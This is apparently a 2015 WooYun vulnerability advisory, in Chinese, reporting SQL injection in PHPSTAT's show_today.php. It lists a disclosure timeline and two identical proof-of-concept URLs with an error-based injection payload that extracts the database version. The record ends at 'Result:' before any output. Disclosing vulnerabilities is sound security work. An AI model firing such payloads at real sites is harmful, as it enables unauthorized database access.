PHPSTAT最新版多处SQL注入漏洞（demo复现）

发表于 2015年07月20日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0127266

漏洞标题：PHPSTAT最新版多处SQL注入漏洞（demo复现）

漏洞详情

披露状态：

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-25: 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开

简要描述：

PHPSTAT最新版多处SQL注入漏洞，demo复现

详细说明：

官方demo，已是最新版：

http://**.**.**.**/demo.show.php

1	http://.../demo.show.php

漏洞文件：show_today.php其中参数：

searchtypesearchkeyorderstr

1	searchtypesearchkeyorderstr

均存在延时注入，mysql delay blind附POC:

http://**.**.**.**/common_demo/show_today.php?action=today&costtype=&endtime=2015-07-16&enginekey=&fromtype=&mediumkey=&orderby=&orderstr=desc&pagesize=10&ploykey=&searchkey=1&searchtype=1%20order%20by%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23&selectinfotype=&server=d1&starttime=2015-07-16&types=&userkey=&website=1

http://**.**.**.**/common_demo/show_today.php?action=today&costtype=&endtime=2015-07-16&enginekey=&fromtype=&mediumkey=&orderby=&orderstr=desc&pagesize=10&ploykey=&searchkey=1&searchtype=1%20order%20by%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23&selectinfotype=&server=d1&starttime=2015-07-16&types=&userkey=&website=1

Result：